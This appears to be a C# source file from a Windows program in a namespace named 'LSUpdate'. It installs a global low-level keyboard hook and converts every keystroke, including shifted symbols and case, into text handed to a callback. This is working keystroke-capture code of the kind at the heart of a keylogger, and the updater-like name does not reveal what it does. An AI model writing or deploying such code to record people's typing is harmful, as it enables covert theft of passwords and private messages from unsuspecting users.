﻿using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Input;
using System.Windows.Forms;

namespace LSUpdate
{
    class globalKeyboardHook
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
        //callback delegate is made a member variable of the class to prevent the GC from collecting it
        //otherwise this delegate could be deleted by the GC, since no object is keeping a reference to it
        //it is after all only used by a function that comes from an unmanaged dll
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        //disable constructor
        private globalKeyboardHook()
        {
        }
        public static void start()
        {
            _hookID = SetHook(_proc);
        }
        public static void stop()
        {
            UnhookWindowsHookEx(_hookID);
        }

        //set callbacks
        public delegate void callbackFromKeyboard(string str);
        private static callbackFromKeyboard callback = null;
        public static void setKeyboardCallback(callbackFromKeyboard cb)
        {
            callback = cb;
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                const int WH_KEYBOARD_LL = 13;
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            const int WM_KEYDOWN = 0x0100;
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                bool caps = Control.IsKeyLocked(Keys.CapsLock);
                bool shift = (Control.ModifierKeys == Keys.Shift);
                int vkCode = Marshal.ReadInt32(lParam);

                switch ((Keys)vkCode)
                {
                    case Keys.Space:
                        callback(" ");
                        break;
                    case Keys.Return:
                        callback("\n");
                        break;
                    case Keys.Back:
                        callback("");
                        break;
                    case Keys.Tab:
                        callback("");
                        break;
                    case Keys.D0:
                        if (!shift) callback("0");
                        else callback(")");
                        break;
                    case Keys.D1:
                        if (!shift) callback("1");
                        else callback("!");
                        break;
                    case Keys.D2:
                        if (!shift) callback("2");
                        else callback("@");
                        break;
                    case Keys.D3:
                        if (!shift) callback("3");
                        else callback("#");
                        break;
                    case Keys.D4:
                        if (!shift) callback("4");
                        else callback("$");
                        break;
                    case Keys.D5:
                        if (!shift) callback("5");
                        else callback("%");
                        break;
                    case Keys.D6:
                        if (!shift) callback("6");
                        else callback("^");
                        break;
                    case Keys.D7:
                        if (!shift) callback("7");
                        else callback("&");
                        break;
                    case Keys.D8:
                        if (!shift) callback("8");
                        else callback("*");
                        break;
                    case Keys.D9:
                        if (!shift) callback("9");
                        else callback("(");
                        break;
                    case Keys.LShiftKey:
                    case Keys.RShiftKey:
                    case Keys.LControlKey:
                    case Keys.RControlKey:
                    case Keys.LMenu:
                    case Keys.RMenu:
                    case Keys.LWin:
                    case Keys.RWin:
                    case Keys.Apps:
                        callback("");
                        break;
                    case Keys.OemQuestion:
                        if (!shift) callback("/");
                        else callback("?");
                        break;
                    case Keys.OemOpenBrackets:
                        if (!shift) callback("[");
                        else callback("{");
                        break;
                    case Keys.OemCloseBrackets:
                        if (!shift) callback("]");
                        else callback("}");
                        break;
                    case Keys.Oem1:
                        if (!shift) callback(";");
                        else callback(":");
                        break;
                    case Keys.Oem7:
                        if (!shift) callback("'");
                        else callback("\"");
                        break;
                    case Keys.Oemcomma:
                        if (!shift) callback(",");
                        else callback("<");
                        break;
                    case Keys.OemPeriod:
                        if (!shift) callback(".");
                        else callback(">");
                        break;
                    case Keys.OemMinus:
                        if (!shift) callback("-");
                        else callback("_");
                        break;
                    case Keys.Oemplus:
                        if (!shift) callback("=");
                        else callback("+");
                        break;
                    case Keys.Oemtilde:
                        if (!shift) callback("`");
                        else callback("~");
                        break;
                    case Keys.Oem5:
                        callback("|");
                        break;
                    default:
                        //arrow keys
                        bool b0 = (vkCode == 37);
                        bool b1 = (vkCode == 38);
                        bool b2 = (vkCode == 39);
                        bool b3 = (vkCode == 40);

                        if (!b0 && !b1 && !b2 && !b3)
                        {
                            if (!shift && !caps) callback(((Keys)vkCode).ToString().ToLower());
                            if (shift && !caps) callback(((Keys)vkCode).ToString().ToUpper());
                            if (!shift && caps) callback(((Keys)vkCode).ToString().ToUpper());
                            if (shift && caps) callback(((Keys)vkCode).ToString().ToLower());
                        }
                        break;
                }
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }
    }
}
